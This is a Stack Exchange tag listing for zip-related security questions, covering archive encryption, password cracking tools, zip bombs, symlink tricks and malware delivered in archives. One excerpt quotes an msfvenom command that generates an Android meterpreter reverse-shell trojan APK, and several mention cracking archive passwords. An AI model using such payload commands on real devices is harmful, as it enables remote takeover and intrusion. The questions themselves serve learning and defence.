Stack Exchange Network

Stack Exchange network consists of 175 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [zip]

An archive file format that is used to bundle multiple files and folders together that may have been compressed.

1
vote
1answer
102 views

If I unzip a password-protected zip file, will the person I downloaded it from be notified in anyway?

If I access a password protected zip file, that i've downloaded through tor, and then opened the zip file, is there any way the person who posted the zip file would be able to find out that I've ...
1
vote
1answer
100 views

Encryption Using 7z or Zip File

I'm wondering which encrypted 7-Zip file format has better encryption: 7z with 256 AES or zip file with 256 AES? Assume that a strong password is used, then which encrypted 7zip file format has ...
0
votes
1answer
1k views

Crack password protected zip file with pkcrack

I have allfiles.zip contains only file allfiles.exe and is password protected. I heard about pkcrack, it is possible to get the file from a zip file which is encrypted if we have some part of ...
1
vote
0answers
47 views

rar and zip password encoding scheme [closed]

What encoding scheme is used in last versions of ZIP archives(6.3.2+) and RAR archives(3.90+), including RAR5? UTF-8/16, ASCII or something else?
4
votes
1answer
287 views

How to protect websites against ZIP bombs and reference bombs?

A Zip bomb (concept here) seems quite a "smart" and easy vulnerability to websites where uploading ZIP files is allowed. Such sites are under a threat (at least to make some degree of damage to them) -...
0
votes
0answers
46 views

Does WinRar leave cache of opened Zip Archives (Nothing extracted)

Downloaded a .zip, via a secure app that deleted the only place it was downloaded (supposedly, who knows if defragmentation left other traces, the download happened by accident, on main OS WIN10, no ...
4
votes
2answers
359 views

How does a zip file detect a correct password?

When extracting files from an encrypted zip archive, the user is asked to give a password in order to read the original file. How does an encrypted ZIP detect when the user has given the correct ...
2
votes
1answer
109 views

Can unpacking a .zip file be harmful for Unix-like systems?

Let’s say there is a .zip file that contains either a virus, malware or something harmful for the computer. The computer is running a Unix-like OS, e.g. Ubuntu 18.04. Are there any security ...
1
vote
0answers
71 views

Working with Security Metadata in APK file

According to this Blog post, Google has added a Security Metadata on top of an APK to verify that it was originally distributed by Google Play. More specifically it adds APK Signing Block to the APK ...
7
votes
3answers
4k views

Can the content of a password protected zip file be known?

Let's suppose that I share an illegal copy of a material on web which is in password protected zip file, can the owner send me a copyright notice or know what's inside the zip without knowing the ...
0
votes
1answer
108 views

Can Zip files contain any information other than the bytes in the files being zipped?

We have a secure environment where we sometimes transfer large quantities of unclassified data between machines certified for classified operations. We zip these files to ease the process of data ...
6
votes
1answer
1k views

What encryption method is used by the zip program in macOS?

In order to send a file securely I am going to encrypt/password protect a zip file. (Why I am doing this). I am using macOS Sierra 10.12.6 and through my research I have concluded that encrypting a ...
1
vote
1answer
54 views

Hard coded paths in archive files

I am just testing some web application. In this web application, I can upload some file at least as zip archive. I came to an idea to test, if I could place a file at a specific location I want. My ...
2
votes
3answers
1k views

Susceptibility of 7z encrypted archive files to man in the middle attacks

Given: A file (assume 1 GB in size) is encrypted along with filenames using 7zip into a 7z archive using AES-256 The file is uploaded to a cloud storage service such as those offered by Google, ...
1
vote
1answer
211 views

zap proxy - modify post to inject a zip file

I am doing a CTF image now, and I need to upload a .zip file to execute using the php wrapper zip:// using this PHP ZIP Wrapper LFI vulnerability The problem is that the only way to upload is with ...
0
votes
2answers
2k views

Reverse Engineering - .zip file decryption if I have similarly encrypted .zip files and I have password to one of them

Is this possible to somehow reverse engineer password to .zip file if I have 2 similarly encrypted .zip archives, both need 20-sign password (that has big and small letters and numbers) so Brute Force ...
6
votes
3answers
6k views

Is it possible to read a text file inside a password-protected zip file without the password?

I have a text file (.txt) compressed in ZIP format protected by a password. I think it has only one line of text and I want to see the contents of this file. I tried fcrackzip but I think the ...
0
votes
1answer
357 views

Using unencrypted parts of encrypted file to recover password (7zip)

I have forgotten the password for an encrypted 7zip file (the filenames are not hidden), and I have copies of some of the unencrypted files. Is there a way I can use this to find out what the password ...
1
vote
0answers
3k views

John the Ripper doesn't use my wordlist file properly

When I use JtR to crack an encrypted zip file I have, it seems like JtR doesn't go through the wordlist I have ... I do the following steps: $ brew install john-jumbo $ export PATH=$PATH:/usr/local/...
3
votes
1answer
4k views

Approaches to cracking an encrypted zip file

I'm taking part in a capture-the-flag exercise; the level of difficulty is competent, but non-expert. I'm not a security practitioner, but I do have a development background and a reasonable knowledge ...
7
votes
3answers
4k views

Is it safe to click on zip or rar file? [duplicate]

Sometimes I'm in dilemma when I want to open archive file if there is any risk by opening it, because I'm not sure if attacker can use any trick that will trigger malware just by clicking on it. I'm ...
0
votes
1answer
771 views

Security risks with handling ZIP archives in web applications

I'm researching possible security risks when handling ZIP files, or archives in general, in web applications. The scenario is the following. The user is able to upload any ZIP (or in general an ...
2
votes
1answer
237 views

Does corrupting several bytes of an encrypted zip make it unrecoverable?

Can adversary extract data from a deliberately corrupted archive? If I archive a folder with 7zip, and I use a password (including header encryption) will garbling a few bytes at a particular offset ...
2
votes
2answers
468 views

Can a zipped malware execute?

I have a malicious file zipped in .gz which was not opened. However, when I tried to delete the folder containing the file, I wasn't able to due to running processes. Can a zipped malware execute ...
1
vote
1answer
2k views

How to analyse a zip file forensically? [closed]

I have a zip file and want to know as much as possible about it. Some information is obvious like creation date etc. But what kind of information could be found by a forensic analysis?
5
votes
2answers
2k views

What are some possible uses of a zip bomb?

This article claims that zip bombs cannot be used today as modern systems are too smart for it and no victim is going to slowly unpack terrabytes of data so zip bombs are basically useless. Is this ...
4
votes
1answer
174 views

Are there valid reasons for compressed files (zip, gzip, etc.) to spoof file size?

Zip files, GZip files, and likely others, include information about the contained file, including the uncompressed size of the file. However, when extracting these files the number is meaningless as ...
1
vote
1answer
509 views

Metasploit creating .ZIP files instead of .APK files?

I have been practicing using an old Android device and Kali Linux. I set up the trojan .apk file like normal, using the command msfvenom -p android/meterpreter/reverse_tcp LHOST=MyIP LPORT=RandomPort ...
0
votes
0answers
43 views

Considerations for securly handling zip archives

I'm working with a system that allows people to upload files to be downloaded by others. At the moment, we only accept CSV files with specific columns (and we validate all data uploaded), but there is ...
3
votes
1answer
468 views

Making sense of John The Ripper numbers

I'm doing a test with John The Ripper, to see how long it takes to crack a zip password. One test is one an old intel NUC, which has an i5 processor and 4 cores. These are the numbers I'm getting: ...
1
vote
2answers
4k views

How to recover a lost zip file password (Extract Zip Spec '2.0')

I want to recover my backup file, but I can't find the password. The password contains 12-20 characters (As!@$123) user@PC:/media/user/MyData$ zipdetails -v backup2.zip 0000000 0000004 50 4B 03 04 ...
9
votes
4answers
3k views

Will password protected files like zip and rar also get affected by Odin ransomware?

If I protect my files with password and use rar or zip files to store these files. Can ransomware encrypt password protected files?
1
vote
2answers
703 views

Various questions about file compression and encryption regarding hacking (zip, rar, 7z) [closed]

So I'm curious about a few aspects of compressed files (Zip, rar, 7z, etc), and how they impact hack-ability. There is enough on this subject that I'm not clear about (since this isn't a career of ...
8
votes
2answers
1k views

How can I tell if a zip file uses the 7-Zip exploit?

Let's say I have a "corrupted" zip file from a potentially suspicious source, and that at least one person has attempted to extract it. Conventional wisdom used to be that bad stuff™ didn't ...
6
votes
2answers
2k views

Is storing an encrypted zip file to an insecure cloud service an admissible way of securing privacy?

Consider the following scenario: I use a cloud service that is not considered secure (meaning no encryption whatsoever) i.e. Dropbox, OneDrive, Google Drive etc. In my account I have a .zip or .7z ...
4
votes
1answer
4k views

How to detect zip file encryption algorithm

As we know zip files supports a simple password-based symmetric encryption system and some vendors use other algorithms. I used the zipinfo command in Linux but it doesn't say what encryption ...
-1
votes
1answer
2k views

CRC-96(ZIP) decryption

Is there a way to decrypt CRC-96 encrypted string? I am testing a web application which stores the password in the database in CRC-96 encrypted format.
22
votes
4answers
7k views

How is malware distributed within zip files?

Recently it seems there has been a big outbreak of zip files being emailed to people with a .js file containing code that downloads and executes cryptoware. How does the .js actually get executed ...
9
votes
2answers
14k views

John the ripper is not identifying hashes

I'm attempting to use JTR against a password protected zip. I have created the hash file using:zip2john filename.zip > filename.hash and i get a successful output:file.txt is using AES encryption, ...
8
votes
2answers
730 views

Are .zip files used as a modern attack vector?

I recently advised someone to share (publish) a bunch of files by just posting a .zip somewhere, but realized this may look malicious to a recipient. This suspicion might be driven from Windows 95 or ...
10
votes
2answers
4k views

Is it easier to crack a ZIP file than a 7z archived file given they have the same password?

I am interested in knowing if either of them is easier to crack than the other because of inherent flaws.
0
votes
1answer
283 views

Is there a combination program that will generate a dictionary from a predefined list of words and numbers in specific order?

I'm sorry if this question has been asked, but I've already wasted 6 precious hours trying to find a program that will accomplish the task I'm requesting. (Perhaps I'm asking the wrong question?) ...
2
votes
1answer
18k views

Is a ZIP file password easy to break? [duplicate]

I thought that ZIP file passwords were a fairly decent protection. I came across this video, that seems to indicate otherwise. https://www.youtube.com/watch?v=SqRSNuJSm4o [12 minutes view time] ...
1
vote
1answer
187 views

Why FATCA IDES “protocol” does not use RSA encrytion directly on Zip archive ?

Here is the context: to transmit FATCA data to US IRS service the IDES protocol defines the following steps sign the XML Payload.xml file with enveloping signature, SHA-256 with RSA private key, as ...
6
votes
2answers
844 views

How safe (for privacy/security) is ZIP for file encryption of backups on a flash drive

I am looking to encrypt files on a flash drive (for backup) just in case it gets stolen or lost. I don't want to install any extra software like TrueCrypt but instead just use what's already there on ...
1
vote
1answer
375 views

Can an attacker use a tarbomb to override vital parts of my system?

Can an attacker use a tarbomb to override vital parts of my system? A tarbomb, also sometimes written as tar bomb, is a tarball whose contents appear to explode into the current directory or some ...
1
vote
1answer
227 views

Simple open-source file encryption tool

I want to securely encrypt files, with an open algorithm. So, i've constructed the simple openSSL shell command. How secure is it? function aes-enc() { openssl enc -aes-256-cbc -e -in $1 -out "$1....
1
vote
1answer
7k views

Can you recover the password from ZipCrypto encrypted ZIP file?

I know that "legacy ZIP-crypto" is not secure and you can get at the contents of the file quite easily. Now the question is, can you also get at the password (assume this is a very long, very high ...
1
vote
1answer
144 views

Can zip files be cracked if they were split into parts and only one part was available?

I am talking here about zip files that were compressed using basic protection and those using AES protection. In both cases, if only one of the many parts of the zip were available, will it be able to ...
8
votes
1answer
6k views

How zip symlink works?

I've seen lately some bugs that used zip symlink technique , can anyone explain how this vulnerability works , how attackers use it to exploit applications? Thanks